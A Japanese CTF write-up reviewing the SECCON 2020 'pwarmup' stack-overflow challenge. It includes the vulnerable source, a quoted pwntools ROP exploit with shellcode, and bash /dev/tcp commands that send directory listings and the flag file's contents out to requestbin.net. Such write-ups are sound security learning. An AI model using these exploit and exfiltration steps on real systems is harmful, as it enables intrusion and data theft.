10/10-11 で開催された SECCON 2020 の pwn 問を復習します。
pwarmup
問題
#include <unistd.h>
#include <stdio.h>
int main(void) {
char buf[0x20];
puts("Welcome to Pwn Warmup!");
scanf("%s", buf);
fclose(stdout);
fclose(stderr);
}
__attribute__((constructor))
void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(60);
}
コンテスト中に試したこと
まず最初に alarm 機能はデバッグの邪魔なので、dhex を使って NOP で書き換えました。 pwntools で実行ファイルを確認すると、
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
という感じでなんでもできそう。
なので、scanf で /bin/sh
を呼び出すコードを rsp 上に書き込んで call rsp
の命令箇所に飛べばいいと考えた。
つまり scanf で書き込んだあとの rbp を
$rbp: AAAAAAAA /* leave で $rbp に入る値、なんでもいい (ちなみに leave で $rsp に $rbp+8 が入る) */
$rbp+8: address to call rsp /* return で飛ぶアドレスを指定、今回は call rsp のアドレス*/
$rbp+16: shellcode /* return の後で $rsp が指すアドレス、ここに shellcode をおく */
としてあげればいい。 しかし、rp++ を使ってみると、
rp-lin-x64 -f ./chall --rop=1 --unique | grep "rsp"
0x00400562: add rsp, 0x08 ; ret ; (2 found)
0x004007ca: call qword [rsp+rbx*8] ; (1 found)
0x004007c5: test byte [rcx+rcx*4-0x11], 0x00000041 ; call qword [rsp+rbx*8] ; (1 found)
となっており、そもそも call rsp
の命令が存在せず (call [rsp]
はあったが)、手詰まりとなってしまった…
復習
他の方々の writeup を眺めた。
- https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1
- scanf を使って適当なアドレスにシェルコードを書き込み、そのアドレスを呼ぶ
- http://yuta1024.hateblo.jp/entry/2020/10/11/184928
- rax に alarm 経由でシェルコードを書き込み、
call rax
を実行
- rax に alarm 経由でシェルコードを書き込み、
前者のほうが汎用性が高そうなので、そっちを重点的に見た。 以下のコードは https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1#pwarmup-warmup の引用。
from pwn import *
s = remote("pwn-neko.chal.seccon.jp", 9001)
elf = ELF("chall")
context.binary = elf
rop = ROP(elf)
# scanf("%s", 0x600000)
rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000])
rop.call(0x600000)
s.sendlineafter(
"Welcome to Pwn Warmup!\n",
b"a"*0x28+rop.chain())
# http://shell-storm.org/shellcode/files/shellcode-806.php
s.sendline(
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
"\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
s.interactive()
pwntools の ROP を使うとこんな簡潔に書けるのか…
0x4005c0 は scanf のアドレスで、 main 関数内の call sym.imp.__isoc99_scanf
のアドレスではなく、 sym.imp.__isoc99_scanf
のアドレス。
一応 rop.chain()
の内容を gdb を使って確認すると、
gdb-peda$ x/16x $rbp
0x7fffffffe2a0: 0x41414141 0x41414141 0x004007e3 0x00000000
0x7fffffffe2b0: 0x0040081b 0x00000000 0x004007e1 0x00000000
0x7fffffffe2c0: 0x00600000 0x00000000 0x61616169 0x6161616a
0x7fffffffe2d0: 0x004005c0 0x00000000 0x00600000 0x00000000
となっていた。やっていることは、
- 0x4007e3 (pop rdi) に飛び、 0x40081b (%s) を rdi に代入
- 0x4007e1 (pop rsi) に飛び、 0x600000 を rsi に代入
- 0x4007e2 (pop r15) に rip が移り、 0x6161… のダミーな変数を r15 に代入
- 0x4005c0 に飛び scanf、そこで shellcode を 0x600000 に格納
- ret で 0x600000 へ、 shellcode の実行
という流れである。 ROP 便利だ…
(よく忘れるのでメモ、leave は mov rsp, rbp
pop rbp
の組み合わせ、 ret は pop したアドレスに JMP https://vanya.jp.net/os/x86call/)
これでシェルを奪うことができる。
しかし、ここからが難しいところらしく (自分はここにすらたどり着けなかったが)、 stdout が閉じられているので ls
などを叩いても結果が返ってこない。
http://yuta1024.hateblo.jp/entry/2020/10/11/184928 によると、 bash には /dev/tcp/${host}/${port}
に書き込むことで nc
と同等のことができる機能があるらしい (https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1#pwarmup-warmup によると、 nc
が入っていないっぽくて ls -al | nc ${host} ${port}
とかはできないらしい)。
requestbin.net という http request を記録できる便利なツールがあるらしいのでそれを使ってみる。
使い方は https://www.softantenna.com/wp/webservice/request-bin/ を参考にしました。
リクエストに使うコマンドは http://yuta1024.hateblo.jp/entry/2020/10/11/184928 を参考にして↓のようにしたら、うまく動きました。
bash
exec 3<> /dev/tcp/requestbin.net/80
echo -e "GET /r/TOKEN_NAME HTTP/1.1\nHost: requestbin.net\nX-CTF: $(ls|base64)\nConnection: close\n" >&3
cat <&3
これを奪ったシェルで入力し、 http://requestbin.net/r/TOKEN_NAME?inspect をみると、 X-CTF に ls|base64
の結果が出力されている: Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK
echo "Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK" | base64 -d
chall
flag-e6951df0400add6a6b5be11f25b80cea.txt
redir.sh
flag-*.txt
が該当するファイルと思われるので、 cat で覗く。
bash
exec 3<> /dev/tcp/requestbin.net/80
echo -e "GET /r/TOKEN_NAME HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(cat flag-e6951df0400add6a6b5be11f25b80cea.txt)\r\nConnection: close\r\n\r\n" >&3
cat <&3
すると、フラグが見れた。
SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up}
学んだこと
- pwntools の ROP
/dev/tcp
- ファイルディスクリプタ (
/dev/fd/*
) - requestbin.net
追記
https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127#pwn-123pts-pwarmup-63-solves
の writeup (作者想定解?) を見つけました。 /dev/tcp/
など使わなくても、 ls>&0
のように標準入力に出力するようにする (?) と実行結果が表示されました。
参考
https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1 http://yuta1024.hateblo.jp/entry/2020/10/11/184928 https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127#pwn-123pts-pwarmup-63-solves https://vanya.jp.net/os/x86call/